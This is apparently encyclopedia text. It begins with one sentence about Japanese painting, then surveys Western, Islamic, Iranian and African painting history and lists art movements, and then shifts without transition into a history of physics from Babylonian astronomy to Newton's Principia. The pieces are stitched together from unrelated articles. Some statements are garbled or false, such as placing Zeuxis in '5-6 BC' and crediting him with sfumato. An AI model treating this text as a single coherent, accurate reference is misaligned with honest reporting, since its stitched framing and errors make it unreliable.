          Japanese painting (絵画, Kaiga?) is one of the oldest and most highly refined of the Japanese arts, encompassing a wide variety on genre and styles. As with the history of Japanese arts in general, the history Japanese painting is a long history of synthesis and competition between native Japanese aesthetics and adaptation of imported ideas.


          


          Western painting


          see article Western painting


          


          Egypt, Greece and Rome


          Ancient Egypt, a civilization with very strong traditions of architecture and sculpture (both originally painted in bright colours) also had many mural paintings in temples and buildings, and painted illustrations to papyrus manuscripts. Egyptian wall painting and decorative painting is often graphic, sometimes more symbolic than realistic. Egyptian painting depicts figures in bold outline and flat silhouette, in which symmetry is a constant characteristic. Egyptian painting has close connection with its written language - called Egyptian hieroglyphs. The Egyptians also painted on linen, remnants of which survive today. In fact painted symbols are found amongst the first forms of written language, and religion.


          To the north of Egypt was the Minoan civilization on the island of Crete. The wall paintings found in the palace of Knossos are similar to that of the Egyptians but much more free in style. Around 1100 B.C., tribes from the north of Greece conquered Greece and the Greek art took a new direction.


          Ancient Greece had great painters, great sculptors, and great architects. The Parthenon is an example of their architecture that has lasted to modern days. Greek marble sculpture is often described as the highest form of Classical art. Painting on pottery of Ancient Greece and ceramics gives a particularly informative glimpse into the way society in Ancient Greece functioned. Black-figure vase painting and Red-figure vase painting gives many surviving examples of what Greek painting was. Some famous Greek painters on wooden panels who are mentioned in texts are Apelles, Zeuxis and Parrhasius, however no examples of Ancient Greek panel painting survive, only written descriptions by their contemporaries or later Romans. Zeuxis lived in 5-6 BC and was said to be the first to use sfumato. According to Pliny the Elder, the realism of his paintings was such that birds tried to eat the painted grapes. Apelles is described as the greatest painter of Antiquity for perfect technique in drawing, brilliant colour and modeling.


          Roman art was influenced by Greece and can in part be taken as a descendant of ancient Greek painting. However, Roman painting does have important unique characteristics. The only surviving Roman paintings are wall paintings, many from villas in Campania, in Southern Italy. Such painting can be grouped into 4 main "styles" or periods and may contain the first examples of trompe-l'oeil, psuedo-perspective, and pure landscape. Almost the only painted portraits surviving from the Ancient world are a large number of coffin-portraits of bust form found in the Late Antique cemetery of Al-Fayum. Although these were neither of the best period nor the highest quality, they are impressive in themselves, and give an idea of the quality that the finest ancient work must have had. A very small number of miniatures from Late Antique illustrated books also survive, and a rather larger number of copies of them from the Early Medieval period.


          


          Middle Ages


          The rise of Christianity imparted a different spirit and aim to painting styles. Byzantine art, once its style was established by the 6th century, placed great emphasis on retaining traditional iconography and style, and has changed relatively little through the thousand years of the Byzantine Empire and the continuing traditions of Greek and Russian Othodox icon-painting. Byzantine painting has a particularly hieratic feeling and icons were and still are seen as a reflection of the divine. There were also many wall-paintings in fresco, but fewer of these have survived than Byzantine mosaics. In general Byzantium art borders on abstraction, in its flatness and highly stylised depictions of figures and landscape. However there are periods, especially in the so-called Macedonian art of around the 10th century, when Byzantine art became more flexible in approach.


          In post-Antique Catholic Europe the first distinctive artistic style to emerge that included painting was the Insular art of the British Isles, where the only surviving examples (and quite likely the only medium in which painting was used) are miniatures in Illuminated manuscripts such as the Book of Kells. These are most famous for their abstract decoration, although figures, and sometimes scenes, were also depicted, especially in Evangelist portraits. Carolingian and Ottonian art also survives mostly in manuscripts, although some wall-painting remain, and more are documented. The art of this period combines Insular and "barbarian" influences with a strong Byzantine influence and an aspiration to recover classical monumentality and poise.


          Walls of Romanesque and Gothic churches were decorated with frescoes as well as sculpture and many of the few remaining murals have great intensity, and combine the decorative energy of Insular art with a new monumentality in the treatment of figures. Far more miniatures in Illuminated manuscripts survive from the period, showing the same characteristics, which continue into the Gothic period.


          Panel painting becomes more common during the Romanesque period, under the heavy influence of Byzantine icons. Towards the middle of the 13th century, Medieval art and Gothic painting became more realistic, with the beginnings of interest in the depiction of volume and perspective in Italy with Cimabue and then his pupil Giotto. From Giotto on, the treatment of composition by the best painters also became much more free and innovative. They are considered to be the two great medieval masters of painting in western culture. Cimabue, within the Byzantine tradition, used a more realistic and dramatic approach to his art. His pupil, Giotto, took these innovations to a higher level which in turn set the foundations for the western painting tradition. Both artists were pioneers in the move towards naturalism.


          Churches were built with more and more windows and the use of colorful stained glass become a staple in decoration. One of the most famous examples of this is found in the cathedral of Notre Dame de Paris. By the 14th century Western societies were both richer and more cultivated and painters found new patrons in the nobility and even the bourgeoisie. Illuminated manuscripts took on a new character and slim, fashionably dressed court women were shown in their landscapes. This style soon became known as International style and tempera panel paintings and altarpieces gained importance.


          


          Renaissance and Mannerism


          The Renaissance is said by many to be the golden age of painting. Roughly spanning the 14th through the mid 17th century. In Italy artists like Paolo Uccello, Fra Angelico, Masaccio, Piero della Francesca, Andrea Mantegna, Filippo Lippi, Giorgione, Tintoretto, Sandro Botticelli, Leonardo Da Vinci, Michelangelo Buonarroti, Raphael, Giovanni Bellini, and Titian took painting to a higher level through the use of perspective, the study of human anatomy and proportion, and through their development of an unprecedented refinement in drawing and painting techniques.


          Flemish, Dutch and German painters of the Renaissance such as Hans Holbein the Younger, Albrecht Drer, Lucas Cranach, Matthias Grnewald, Hieronymous Bosch, and Pieter Brueghel represent a different approach from their Italian colleagues, one that is more realistic and less idealized. The adoption of oil painting (whose invention was traditionally, but erroneously, credited to Jan Van Eyck), made possible a new verisimilitude in depicting reality. Unlike the Italians whose work drew heavily from the art of ancient Greece and Rome, the northerners retained a stylistic residue of the sculpture and illuminated manuscripts of the Middle Ages.


          Renaissance painting reflects the revolution of ideas and science (astronomy, geography) that occur in this period, the Reformation, and the invention of the printing press. Drer, considered one of the greatest of printmakers, states that painters are not mere artisans but thinkers as well. With the development of easel painting in the Renaissance, painting gained independence from architecture. Following centuries dominated by religious imagery, secular subject matter slowly returned to Western painting. Artists included visions of the world around them, or the products of their own imaginations in their paintings. Those who could afford the expense could become patrons and commission portraits of themselves or their family.


          In the sixteenth century, movable pictures came into popular demand, which could be hung easily on walls and moved around at will, rather than paintings being made on permanent structures, such as altars and other solid structures.


          The High Renaissance gave rise to a stylized art known as Mannerism. In place of the balanced compositions and rational approach to perspective that characterized art at the dawn of the sixteenth century, the Mannerists sought instability, artifice, and doubt. The unperturbed faces and gestures of Piero della Francesca and the calm Virgins of Raphael are replaced by the troubled expressions of Pontormo and the emotional intensity of El Greco.


          


          Baroque and Rococo


          During the period beginning around 1600 and continuing throughout the 17th century, painting is characterized as Baroque. Among the greatest painters of the Baroque are Caravaggio, Rembrandt, Rubens, Velazquez, Poussin, and Vermeer. Caravaggio is an heir of the humanist painting of the High Renaissance. His realistic approach to the human figure, painted directly from life and dramatically spotlit against a dark background, shocked his contemporaries and opened a new chapter in the history of painting. Baroque painting often dramatizes scenes using light effects; this can be seen in works by Rembrandt, Vermeer, Le Nain and La Tour.


          During the 18th century, Rococo followed as a decadent sub-genre of Baroque, lighter, often frivolous and erotic. The French masters Watteau, Boucher and Fragonard represent the style, as do Giovanni Battista Tiepolo and Thomas Gainsborough. Jean-Baptiste-Simon Chardin was considered by some as the best French painter of the 18th century - the Anti-Rococo.


          [bookmark: 19th_century:_Neo-classicism.2C_Romanticism.2C_Impressionism]


          19th century: Neo-classicism, Romanticism, Impressionism


          After the decadence of Rococo there arose in the late 18th century an ascetic neo-classicism, best represented by such artists as David and his heir Ingres. Ingres' work already contains much of the sensuality, but none of the spontaneity, that was to characterize Romanticism. This movement turned its attention toward landscape and nature as well as the human figure and the supremacy of natural order above mankind's will. There is a pantheist philosophy (see Spinoza and Hegel) within this conception that opposes Enlightenment ideals by seeing mankind's destiny in a more tragic or pessimistic light. The idea that human beings are not above the forces of Nature is in contradiction to Ancient Greek and Renaissance ideals where mankind was above all things and owned his fate. This thinking led romantic artists to depict the sublime, ruined churches, shipwrecks, massacres and madness.


          Romantic painters turned landscape painting into a major genre, considered until then as a minor genre or as a decorative background for figure compositions. Some of the major painters of this period are Eugene Delacroix, Thodore Gricault, J. M. W. Turner, Caspar David Friedrich and John Constable. Francisco de Goya's late work demonstrates the Romantic interest in the irrational, while the work of Arnold Bcklin evokes mystery. In the United States the Romantic tradition of landscape painting was known as the Hudson River School. Important painters of that school include Thomas Cole, Frederick Church, Albert Bierstadt, Thomas Moran, and John Frederick Kensett among others. Luminism was another important movement in American landscape painting related to the Hudson River School.


          The leading Barbizon School painter Camille Corot painted sometimes as a romantic, sometimes as a Realist who looks ahead to Impressionism. A major force in the turn towards Realism at mid-century was Gustave Courbet. In the latter third of the century Impressionists like douard Manet, Claude Monet, Pierre-Auguste Renoir, Camille Pissarro, Alfred Sisley, and Edgar Degas and the slightly younger post-Impressionists like Vincent Van Gogh, Paul Gauguin, Georges Seurat, and Paul Cezanne lead art up to the edge of modernism.
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          20th century Modern and Contemporary


          The heritage of painters like Van Gogh, Czanne, Gauguin, and Seurat was essential for the development of modern art. At the beginning of the 20th century Henri Matisse and several other young artists revolutionized the Paris art world with "wild," multi-colored, expressive, landscapes and figure paintings that the critics called Fauvism. Pablo Picasso made his first cubist paintings based on Czanne's idea that all depiction of nature can be reduced to three solids: cube, sphere and cone.


          After cubism several movements emerged; Futurism ( Balla), Abstract ( Kandinsky, Der Blaue Reiter), Bauhaus ( Klee), De Stijl ( Mondrian), Suprematism ( Malevich), Constructivism ( Tatlin), Dadaism ( Duchamp, Arp) and Surrealism ( De Chirico, Mir, Magritte, Dal, Ernst). Modern painting influenced all visual arts, from architecture to design and became an experimental laboratory in which artists stretched the limits of this medium to his extreme. Additionally, Van Gogh's painting had great influence in Expressionism which can be seen in Die Brcke, a group lead by German painter Ernst Kirchner and in Edvard Munch or Egon Schiele's work.


          In the USA during the period between World War I and World War II painters tended to go to Europe for recognition. Artists like Marsden Hartley, Patrick Henry Bruce, Gerald Murphy and Stuart Davis, created reputations abroad. In New York City, Albert Pinkham Ryder and Ralph Blakelock were influential and important figures in advanced American painting between 1900 and 1920. During the 1920s photographer Alfred Stieglitz exhibited Georgia O'Keefe, Arthur Dove, Alfred Henry Maurer, Charles Demuth, John Marin and other artists including European Masters Henri Matisse, Auguste Rodin, Henri Rousseau, Paul Cezanne, and Pablo Picasso, at his gallery the 291.


          During the 1930s and the Great Depression, Surrealism, late Cubism, the Bauhaus, De Stijl, Dada, and colorist painters like Henri Matisse and Pierre Bonnard characterized the European art scene. While in America the Social Realism movement that contained both political and social commentary dominated the art world. Artists like Ben Shahn, Thomas Hart Benton, Grant Wood, George Tooker, John Steuart Curry, Reginald Marsh, and others became prominent. In Latin America the muralist movement with Diego Rivera, David Siqueiros, Jos Orozco, Pedro Nel Gmez and Santiago Martinez Delgado and the paintings by Frida Kahlo was a renaissance of the arts for the region, with a use of colour and historic, and political messages.


          Post-Second World War American painting called Abstract expressionism included artists like Jackson Pollock, Willem de Kooning, Arshile Gorky, Mark Rothko, Hans Hofmann, Clyfford Still, Adolph Gottlieb, Philip Guston, Robert Motherwell, and Franz Kline, among others. In Europe there was the continuation of Surrealism, Cubism, Dada and the works of Matisse. Also in Europe, Tachisme (the European equivalent to Abstract expressionism) took hold of the newest generation. Serge Poliakoff, Nicolas de Stal, Georges Mathieu, Vieira da Silva, Jean Dubuffet, Yves Klein and Pierre Soulages among others are considered important figures in post-war European painting.


          Abstract painting in America evolved into movements such as Neo-Dada, colour field painting, Post painterly abstraction, Op Art, hard-edge painting, Minimal art, shaped canvas painting, Lyrical Abstraction, Neo-expressionism and the continuation of Abstract expressionism. As a response to the tendency toward abstraction imagery emerged through various new movements.


          Pop-Art is exemplified by artists: Andy Warhol, Claes Oldenburg, James Rosenquist, Jim Dine, Tom Wesselmann and Roy Lichtenstein among others. Pop art merges popular and mass culture with fine art, while injecting humor, irony, and recognizable imagery and content into the mix. While throughout the 20th century many painters continued to practice landscape and figurative painting with contemporary subjects and solid technique, like Fairfield Porter, Edward Hopper, Balthus, Francis Bacon, Lucian Freud, Philip Pearlstein, David Hockney, Chuck Close, Susan Rothenberg, Eric Fischl, Vija Celmins and Alex Katz.


          During the 1960s and 1970s, there was a reaction against painting. Critics like Douglas Crimp viewed the work of artists like Ad Reinhardt, and declared the 'death of painting'. Artists began to practice new ways of making art. New movements gained prominence some of which are: Postminimalism, Earth art, Video art, Installation art, arte povera, performance art, body art, fluxus, mail art, the situationists and conceptual art among others.


          However during the 1960s and 1970s abstract painting continued to develop in America through varied styles. Neo-Dada, Colour field painting, Lyrical Abstraction, Op art, hard-edge painting, Abstract Illusionism, minimal painting, and the continuation of Abstract expressionism as well as other new movements. Artists as powerful and influential as Robert Motherwell, Adolph Gottlieb, Phillip Guston, Lee Krasner, Cy Twombly, Robert Rauschenberg, Jasper Johns, Richard Diebenkorn, Elmer Bischoff, Agnes Martin, Al Held, Sam Francis, Ellsworth Kelly, Morris Louis, Helen Frankenthaler, Gene Davis, Frank Stella, Kenneth Noland, Joan Mitchell, Friedel Dzubas, and younger artists like Brice Marden, Sam Gilliam, Sean Scully, Elizabeth Murray, Larry Poons, Walter Darby Bannard, Robert Mangold, Larry Zox, Ronnie Landfield, Ronald Davis, Dan Christensen, Joan Snyder, Ross Bleckner, Archie Rand, Susan Crile, and dozens of others produced vital and influential paintings.


          In the late 1970s and early 1980s, there was also a return to painting that occurred almost simultaneously in Italy, Germany, France and Britain. These movements were called Transavantguardia, Neue Wilde, Figuration Libre, Neo-expressionism and the School of London respectively. These painting were characterized by large formats, free expressive mark making, figuration, myth and imagination. All work in this genre came to be labeled neo-expressionism. Critical reaction was divided. Some critics regarded it as driven by profit motivations by large commercial galleries. This type of art largely disappeared after the art crash of the late 1980s.


          Painting still holds a respected position in contemporary art. Art is an open field no longer divided by the objective versus non-objective dichotomy. Artists can achieve critical success whether their images are representational or abstract. What has currency is content, exploring the boundaries of the medium, and a refusal to recapitulate the works of the past as an end goal.


          


          Contemporary painting in the 21st Century


          
            	to be continued

          


          At the beginning of the 21st century Contemporary painting and Contemporary art in general continues in several contigious modes, characterized by the idea of pluralism. The " crisis" in painting and current art and current art criticism today is brought about by pluralism. There is no consensus as to a representative style of the age. There is an anything goes attitude that prevails; an "everything going on," and consequently "nothing going on" syndrome; except for an aesthetic traffic jam, with no firm and clear direction, with every lane on the artistic superhighway filled to capacity. Consequently magnificent and important works of art continue to be made albeit in a wide variety of styles.


          Hard-edge painting, Geometric abstraction, Hyperrealism, Photorealism, Expressionism, Minimalism, Lyrical Abstraction, Pop Art, Op Art, Abstract Expressionism, Colour Field painting, Monochrome painting, Neo-expressionism, Collage, Intermedia painting, Assemblage painting, Computer art painting, Conceptual art painting, Postmodern painting, Neo-Dada painting, Shaped canvas painting, environmental mural painting, traditional figure painting, Landscape painting, Portrait painting, are a few continuing and current directions in painting at the beginning of the 21st century.


          


          Islamic painting


          The depiction of humans, animals or any another figurative subjects is forbidden within Islam to prevent believers from idolatry so there is no religiously motivated painting (or sculpture) tradition within Muslim culture. Pictorial activity was reduced to Arabesque, mainly abstract, with geometrical configuration or floral and plant-like patterns. Strongly connected to architecture and calligraphy, it can be widely seen as used for the painting of tiles in mosques or in illuminations around the text of the holy Koran and other books. In fact abstract art is not an invention of modern art but it is present in pre-classical, barbarian and non-western cultures many centuries before it and is essentially a decorative or applied art. Notable illustrator M.C. Escher was influenced by this geometrical and pattern based art. Art Nouveau ( Aubrey Beardsley and the architect Antonio Gaudi) re-introduced abstract floral patterns into western art.


          Note that despite the taboo of figurative visualization, some muslim countries did cultivate a rich tradition in painting, though not in its own right, but as a companion to the written word. Iranian or Persian art, widely known as Persian miniature, concentrates on the illustration of epic or romantic works of literature. Persian illustrators deliberately avoided the use of shading and perspective, though familiar with it in their pre-islamic history, in order to abide by the rule of not creating any life-like illusion of the real world. Their aim was not to depict the world as it is, but to create images of an ideal world of timeless beauty and perfect order.


          In present days, painting by art students or professional artists in arab and non-arab muslim countries follow the same tendencies of Western culture art.


          


          Iran


          Oriental historian Basil Gray believes "Iran has offered a particularly unique [sic] art to the world which is excellent in its kind".


          Caves in Iran's Lorestan province exhibit painted imagery of animals and hunting scenes. Some such as those in Fars Province and Sialk are at least 5,000 years old.


          Painting in Iran is thought to have reached a climax during the Tamerlane era when outstanding masters such as Kamaleddin Behzad gave birth to a new style of painting.


          Paintings of the Qajar period, are a combination of European influences and Safavid miniature schools of painting such as those introduced by Reza Abbasi. Masters such as Kamal-ol-molk, further pushed forward the European influence in Iran. It was during the Qajar era when "Coffee House painting" emerged. Subjects of this style were often religious in nature depicting scenes from Shia epics and the like.


          


          Africa


          African traditional culture and tribes do not seem to had great interest in two-dimensional representations in favour of sculpture. However, decorative painting in African culture is often abstract and geometrical. Another pictorial manifestation is body painting, present for example in Maasai culture in their ceremony rituals. Note that Pablo Picasso and other modern artists were influenced by African sculpture in their styles. Contemporary African artists follow western art movements and their paintings have little difference from occidental art works.


          Outline of painting history
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          Ancient painting


          
            	Art of Ancient Egypt


            	Knossos


            	Mycenaean Greece
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            	Roman art
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          18th Century
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          19th Century


          
            	Romanticism


            	Academic art


            	Realism


            	Naturalism (art)


            	Hudson River School


            	Luminism


            	Impressionism


            	Pre-Raphaelites


            	Symbolism


            	Post-Impressionism
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          20th century


          This list is in random order. Date given is for the start of the style or movement.


          
            	Fauvism (Les Fauves) 1905


            	Cubism 1907


            	Jack of Diamonds 1910


            	Orphism


            	Dada


            	Surrealism


            	Corealism


            	Rayonnism


            	Neoplasticism


            	Expressionism


            	Abstract art


            	Abstract Expressionism 1946


            	Post-painterly abstraction 1964


            	Neo-expressionism


            	Art Deco


            	Futurism 1909


            	Op art


            	Pop art


            	Minimalism


            	Art Brut / Folk Art / Nave Art / Outsider Art


            	Suprematism 1913


            	Vorticism 1914


            	Tachism


            	Constructivism


            	Russian avant-garde


            	De Stijl


            	Neue Sachlichkeit


            	American realism


            	Social Realism


            	Socialist realism


            	Action painting


            	Informal art


            	Lyrical Abstraction 1967


            	Monochrome painting


            	Russian Non-Conformist


            	Signal painting


            	Photorealism


            	Concept art


            	Neue Wilde


            	Figuration Libre


            	Graffiti


            	Rectoversion


            	Stuckism 1999
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          Since antiquity, human beings have sought to understand the workings of nature: why unsupported objects drop to the ground, why different materials have different properties, the character of the universe such as the form of the Earth and the behaviour of celestial objects such as the Sun and the Moon, and so forth. Typically the behaviour and nature of the world was explained by invoking the actions of gods. Eventually explanations were proposed based on philosophical speculation. Rarely verified by systematic experimental testing, many of them were wrong, but this is part of the dialectical nature of scientific inquiry, and even modern theories of quantum mechanics and relativity are merely considered "theories that have not been broken yet".


          The growth of physics has brought not only fundamental changes in ideas about the material world, mathematics and philosophy, but also transformed society, through the development of technology by the engineering profession. Physics is considered both a body of knowledge and the practice that makes and transmits it. Experimental physics began in the Middle Ages with experimental investigations into optics, statics and dynamics. The Scientific Revolution, beginning around 1543, is considered a convenient boundary between ancient thought and classical mechanics. The emergence of physics as a science distinct from natural philosophy began with the Scientific Revolution of the 16th and 17th centuries, and continued through the dawn of modern physics in the early 20th century. The year 1900 marks the beginnings of a more modern physics. Today, the science shows no sign of completion, as more issues are raised, with questions rising from the age of the universe, to the nature of the vacuum, to the ultimate nature of the properties of subatomic particles. Partial theories are currently the best that physics has to offer. The list of unsolved problems in physics is large.


          


          Antiquity


          The first records of the recognition that astronomical phenomena are periodic and of the application of mathematics to their prediction is Babylonian. Tablets dating back to the Old Babylonian period ( 2nd millennium BC) document the application of mathematics to the variation in the length of daylight over a solar year. Centuries of Babylonian observations of celestial phenomena are recorded in the series of cuneiform tablets known as the Enūma Anu Enlil.. Babylonian astronomy was the basis for much of what was done in Greece, in India, in Sassanian Iran, in Byzantium, in Syria, in Islam, in Central Asia, and in Western Europe.


          Further investigations into early ideas in physics began with eminent Greek pre-Socratic philosophers such as Thales, Anaximander, possibly Pythagoras, Heraclitus, Anaxagoras, Empedocles and Philolaus, many of whom were involved in various schools. For example, Anaximander and Thales belonged to the Milesian school.
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          Plato, briefly and Aristotle at length, continued these studies of nature in their works, the earliest surviving complete treatises dealing with natural philosophy. Democritus, a contemporary, was of the school of Atomists who attempted to characterize the nature of matter. Similar atomic philosophy would develop in ancient India. Due to the absence of advanced experimental equipment such as telescopes and accurate time-keeping devices, experimental testing of physical hypotheses was impossible or impractical. There were exceptions and there are anachronisms. Greek thinkers like Archimedes proposed calculating the volume of objects like spheres and cones by dividing them into very thin disks and adding up the volume of each disk, using methods resembling integral calculus. It was also Archimedes who derived many correct quantitative descriptions of mechanics and also hydrostatics when, so the story goes, he noticed that his own body displaced a volume of water while he was getting into a bath one day. In doing so Archimedes would be the first to uncover a law of nature. Another remarkable example was that of Eratosthenes, who deduced that the Earth was a sphere, and accurately calculated its circumference using the shadows of vertical sticks to measure the angle between two widely separated points on the Earth's surface.


          Modern knowledge of many early ideas in physics, and the extent to which they were experimentally tested, is unknown. Almost all direct record of these ideas was lost when the Library of Alexandria was destroyed, around 400 AD. Perhaps the most remarkable idea we know of from this era was the deduction by Aristarchus of Samos that the Earth was a planet that traveled around the Sun once a year, and rotated on its axis once a day (accounting for the seasons and the cycle of day and night), and that the stars were other, very distant suns which also had their own accompanying planets (and possibly, lifeforms upon those planets).
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          The discovery of the Antikythera mechanism, which is considered to be the earliest analog computer, points to a detailed understanding of movements of these astronomical objects, as well as a use of gear-trains that pre-dates any other known civilization's use of gears, except that of ancient China. The discovery of the Baghdad Battery also suggests that a primitive form of electricity may have been known in Mesopotamia during the Parthian or Sassanid periods.


          A primitive steam-powered device, Hero's aeolipile, was only a curiosity which did not solve the problem of transforming its rotational energy into a more usable form, not even by gears. The Archimedes screw is still in use today, to lift water from rivers onto irrigated farmland. The simple machines were unremarked, with the exception (at least) of Archimedes' elegant proof of the law of the lever. Ramps were in use several millennia before Archimedes, to build the Pyramids.


          A particularly important ancient contribution that would allow physics to develop into a science came from India. It was the introduction of the Hindu-Arabic numerals. Modern physics can hardly be imagined without a system of arithmetic in which simple calculation is easy enough to make large calculations even possible. The modern positional numeral system (the Hindu-Arabic numeral system) and the number zero were first developed in India.


          


          Physics in the Middle Ages


          


          Islamic world


          Like the later Scientific revolution in the West, Islamic science was built on a foundation laid in antiquity, in this case, the intellectual patrimony of the Byzantines, Persians and Indians they conquered. The Arab and Persian scholars of the Islamic Golden Age made advances by building on previous work in astronomy, mathematics, and physics while developing new fields like modern optics, experimental physics, and hydrodynamics.


          
            [image: Ibn al-Haytham (Alhazen), considered the "father of modern optics" and a pioneer of scientific method and experimental physics]

            
              Ibn al-Haytham (Alhazen), considered the "father of modern optics" and a pioneer of scientific method and experimental physics
            

          


          The most important scientific development during the Middle Ages was the pioneering development of the experimental scientific method by Ibn al-Haytham (commonly Latinized Alhazen, ca. 9651040), as recorded in his Book of Optics. Alhazen, who is regarded as the "father of modern optics", and a pioneer of the scientific method and experimental physics, developed a broad theory that explained vision, using geometry and anatomy, which stated that each point on an illuminated area or object radiates light rays in every direction, but that only one ray from each point, which strikes the eye perpendicularly, can be seen. The other rays strike at different angles and are not seen. He built a camera obscura and used the example of the pinhole camera, which produces an inverted image, to support his argument. This contradicted Ptolemy's emission theory of vision that objects are seen by rays of light emanating from the eyes.


          Alhazen held light rays to be streams of minute particles travelling at a finite speed. He improved Ptolemy's theory of the refraction of light, and went on to discover the law of refraction. He also carried out the first experiments on the dispersion of light into its constituent colors. His major work Book of Optics was translated into Latin in the Middle Ages, as well as his book dealing with the colors of sunset. He dealt at length with the theory of various physical phenomena like shadows, eclipses, and the rainbow. He also attempted to explain binocular vision and the moon illusion. Through these extensive researches on optics, he is considered the "father of modern optics". Alhazen also correctly argued that we see objects because the sun's rays of light, which he believed to be streams of tiny particles traveling in straight lines, are reflected from objects into our eyes. He understood that light must travel at a large but finite velocity, and that refraction is caused by the velocity being different in different substances. He also studied spherical and parabolic mirrors, and understood how refraction by a lens will allow images to be focused and magnification to take place. He understood mathematically why a spherical mirror produces spherical aberration.


          Avicenna (980-1037) agreed that the speed of light is finite, as he "observed that if the perception of light is due to the emission of some sort of particles by a luminous source, the speed of light must be finite." Abū Rayhān al-Bīrūnī (973-1048) also agreed that light has a finite speed, and he was the first to discover that the speed of light is much faster than the speed of sound. Qutb al-Din al-Shirazi (1236-1311) and Kamāl al-Dīn al-Fārisī (1260-1320) gave the first correct explanations for the rainbow phenomenon.


          
            [image: Abū al-Rayhān al-Bīrūnī, a pioneer of hydrodynamics and experimental mechanics]

            
              Abū al-Rayhān al-Bīrūnī, a pioneer of hydrodynamics and experimental mechanics
            

          


          In mechanics, the eldest Banū Mūsā brother, Muhammad ibn Musa, in his Astral Motion and The Force of Attraction, hypothesized that there was a force of attraction between heavenly bodies in the 9th century. Abū Rayhān al-Bīrūnī (973-1048), and later al-Khazini, developed experimental scientific methods for mechanics, especially the fields of statics and dynamics, particularly for determining specific weights, such as those based on the theory of balances and weighing. Muslim physicists unified statics and dynamics into the science of mechanics, and they combined the fields of hydrostatics with dynamics to give birth to hydrodynamics. They applied the mathematical theories of ratios and infinitesimal techniques, and introduced algebraic and fine calculation techniques into the field of statics. They were also generalized the theory of the centre of gravity and applied it to three-dimensional bodies. They also founded the theory of the ponderable lever and created the "science of gravity" which was later further developed in medieval Europe. Al-Biruni also theorized that acceleration is connected with non-uniform motion.
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          In the early 11th century, Ibn al-Haytham discussed the theory of attraction between masses, and it seems that he was aware of the magnitude of acceleration due to gravity, and he stated that the heavenly bodies "were accountable to the laws of physics". also enunciated the law of inertia when he stated that a body moves perpetually unless an external force stops it or changes its direction of motion. He also developed the concept of momentum, though he did not quantify this concept mathematically. His contemporary Avicenna also developed the concept of momentum, referring to impetus as being proportional to weight times velocity, for which he is considered a pioneer of the concept of momentum. His theory of motion was also consistent with the concept of inertia in classical mechanics.


          In 1121, al-Khazini, in his treatise The Book of the Balance of Wisdom, further elaborated an idea proposed by the Greeks that all bodies are attracted towards the centre of the earth. Al-Khazini also developed the concept of gravitational potential energy and was one of the first to clearly differentiate between force, mass, and weight. Avempace (d. 1138) argued that there is always a reaction force for every force exerted, though he did not refer to the reaction force as being equal to the exerted force. His theory of motion had an influence on later physicists like Galileo Galilei. His contemporary Hibat Allah Abu'l-Barakat al-Baghdaadi was the first to negate Aristotle's idea that a constant force produces uniform motion, and he instead argued that a force applied continuously produces acceleration, an important concept in classical mechanics. He also described acceleration as the rate of change of velocity. Averroes (11261198) defined and measured force as "the rate at which work is done in changing the kinetic condition of a material body" and correctly argued "that the effect and measure of force is change in the kinetic condition of a materially resistant mass." In the early 16th century, al-Birjandi developed a hypothesis similar to "circular inertia." The Muslim developments in mechanics laid the foundations for the later development of classical mechanics in early modern Europe.


          


          Medieval Europe


          Following the collapse of the Western Roman Empire, the knowledge of classical antiquity was preserved in its monasteries, in the Byzantine Empire, and in the Islamic world. Works lost in Western Christendom but preserved in the Islamic world led clerical scholars such as Michael the Scot to learn Arabic in order to study them. Their translations made available to medieval Europe not only the works of the ancients, but also contemporary work. Works both ancient and contemporary also became known in medieval Europe through such points of contact as the Republic of Venice, al-Andalus, and returning Crusaders. By providing a locus for the exchange of ideas and scholarly collaboration, the birth of the medieval university was key to the intellectual revitalization of Europe.


          By the 13th century, precursors of the modern scientific method can be seen on Robert Grosseteste's emphasis on mathematics as a way to understand nature and on the empirical approach admired by Roger Bacon.


          Bacon conducted experiments into optics, although much of it was similar to what had been done and was being done at the time by Arab scholars. He did make a major contribution to the development of science in medieval Europe by writing to the Pope to encourage the study of natural science in university courses and compiling several volumes recording the state of scientific knowledge in many fields at the time. He described the possible construction of a telescope, but there is no strong evidence of his having made one. He recorded the manner in which he conducted his experiments in precise detail so that others could reproduce and independently test his results - a cornerstone of the scientific method, and a continuation of the work of researchers like Al Battani.


          In the 14th century, some scholars, such as Jean Buridan and Nicole Oresme, started to question the received wisdom of Aristotle's mechanics. In particular, Buridan developed the theory of impetus, which was an important step towards the modern concept of inertia.


          In his turn, Oresme showed that the reasons proposed by the physics of Aristotle against the movement of the earth were not valid and adduced the argument of simplicity for the theory that the earth moves, and not the heavens. In the whole of his argument in favour of the earth's motion Oresme is both more explicit and much clearer than that given two centuries later by Copernicus. He was also the first to assume that colour and light are of the same nature and the discoverer of the curvature of light through atmospheric refraction; even though, up to now, the credit for this latter achievement has been given to Hooke.


          In the 14th century Europe was rocked by the Black Death which led to much social upheaval. In spite of this pause, the 15th century saw the artistic flourishing of the Renaissance. The rediscovery of ancient texts was improved when many Byzantine scholars had to seek refuge in the West after the fall of Constantinople in 1453. Meanwhile, the invention of printing was to make learning more accessible and allow a faster propagation of new ideas. All that paved the way to the Scientific Revolution, which may also be understood as a resumption of the process of scientific change halted around the middle of the 14th century.


          


          Early modern physics
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          The early modern period is seen as a flowering of the Renaissance, in what is often known as the " Scientific Revolution", viewed as a foundation of modern science. Historians like Howard Margolis hold that the Scientific Revolution began in 1543, when Nicolaus Copernicus received the first copy of his De Revolutionibus, printed in Nuremberg (Nrnberg) by Johannes Petreius. Most of its contents had been written years prior, but the publication had been delayed. Copernicus died soon after receiving the copy.
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          Further significant advances were made over the following century by Galileo Galilei, Christiaan Huygens, Johannes Kepler, and Blaise Pascal. During the early seventeenth century, Galileo made extensive use of experimentation to validate physical theories, which is the key idea in the modern scientific method. Galileo formulated and successfully tested several results in dynamics, in particular the Law of Inertia. In Galileo's Two New Sciences, a dialogue between the characters Simplicio and Salviati discuss the motion of a ship (as a moving frame) and how that ship's cargo is indifferent to its motion. Huygens used the motion of a boat along a Dutch canal to illustrate an early form of the conservation of momentum.
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          The scientific revolution is considered to have culminated with the publication of the Philosophiae Naturalis Principia Mathematica in 1687 by the mathematician, physicist, alchemist and inventor Sir Isaac Newton ( 1643- 1727). In 1687, Newton published the Principia, detailing two comprehensive and successful physical theories: Newton's laws of motion, from which arise classical mechanics; and Newton's law of universal gravitation, which describes the fundamental force of gravity. The Principia also included several theories in fluid dynamics.


